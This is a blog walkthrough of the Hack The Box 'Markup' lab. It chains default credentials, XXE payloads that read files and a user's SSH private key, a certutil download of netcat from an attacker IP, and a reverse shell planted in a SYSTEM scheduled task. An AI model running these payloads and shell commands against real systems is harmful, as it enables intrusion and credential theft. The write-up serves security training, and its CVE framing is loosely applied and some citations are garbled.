top of page
Search

CVE-2020-1934: XXE to RCE in HTB “Markup” Box Walkthrough

Writer: Nick Meade
Nick Meade
Aug 23, 2025
2 min read

CVE-2020-1934: XXE to RCE in HTB “Markup” Box Walkthrough

Box Name: MarkupVuln Spotlight: XXE exploitation leading to privilege escalation via writable scheduled taskWeb Stack: Apache HTTPD 2.4.41 (Win64) — vulnerable to mod_proxy_ftp uninitialized memory (CVE-2020-1934) NVD

TL;DR

  • Entry: Default credentials (admin:password)

  • Web vulnerability: XXE via XML order submissions

  • Privilege escalation: Overwriting a scheduled job.bat task in Log-Management to catch a SYSTEM shell

  • Flags:

    • user.txt: obtained via SSH as daniel

    • root.txt: captured through reverse shell as Administrator

1. Enumeration & Web Login

I kicked things off with nmap -sV -p80 against the box (10.129.93.122), revealing:

80/tcp open http Apache httpd 2.4.41 (Win64)

Knowing Apache 2.4.41 is in the CVE‑2020‑1934 vulnerable range shodan.io+3Rapid7+3Hack The Box :: Forums+3CVE+1Hack The Box :: ForumsNVD+14NVD+14CVE+14, I navigated to the web page and discovered a login form. The creds admin:password granted access immediately.

2. Source Code Clue: Username Found

Browsing through the authenticated pages (home.php, services.php, etc.), the source of services.php held a developer comment:

<!-- Modified by Daniel : UI-Fix-9092 -->

This revealed the target username: daniel.

3. XXE Exploitation (XML External Entity)

On the Order page, form submission triggered an XML payload. Via Burp, I confirmed XXE vulnerability by retrieving a known local file (win.ini):

<!DOCTYPE root [<!ENTITY test SYSTEM "file:///c:/windows/win.ini">]>

This worked—XXE confirmed.

4. Locating job.bat via XXE

Next, I used XXE to fetch the scheduled task script:

<!ENTITY xxe SYSTEM "file:///c:/Log-Management/job.bat">

This returned a Windows batch file that clears event logs using wevtutil.exe. Notably, the file was writeable by daniel.

5. SSH as daniel via Stolen Private Key

Using XXE again, I extracted daniel’s private SSH key at:

c:/Users/daniel/.ssh/id_rsa

Loaded it locally (chmod 600), and SSH’d into the machine:

ssh -i id_rsa daniel@10.129.93.122

User flag retrieved:

032d2fc8952a8c24e39c8f0ee9918ef7

6. Privesc via job.bat Abuse

Because the job.bat file runs under SYSTEM privileges, I replaced its contents with a reverse shell command.

First transferred nc64.exe:

certutil -urlcache -f http://10.10.14.20:8000/nc64.exe nc64.exe

Then overwrote job.bat:

powershell -c "Set-Content -Path 'C:\Log-Management\job.bat' -Value 'C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.20 4444' -Encoding ASCII"

Meanwhile, the attacker box was listening:

nc -lvnp 4444

When the scheduled task ran, I caught a system shell:

whoami → markup\administrator

Finally, grabbed the root flag:

f574a3e7650cebd8c39784299cb570f8

7. Lessons Learned

  • Even legacy CVEs like CVE-2020-1934 suggest underlying misconfigurations—Apache 2.4.41 was a vehicle, but the real win came from XXE and accessing writable files.

  • Developer comments can give away usernames—always check HTML source.

  • Misconfigured scheduled tasks with weak permissions are a red-hot vector for escalation.

  • Combining web exploitation with Windows scripting and task automation is powerful.

Final Thoughts

The “Markup” box elegantly chained web creds → source code intelligence → XXE → key exfiltration → task overwrite → SYSTEM shell—a textbook HTB journey. Including the CVE in the title underscores how even subtle server version details fuel attack planning.

 
 
 

Comments

bottom of page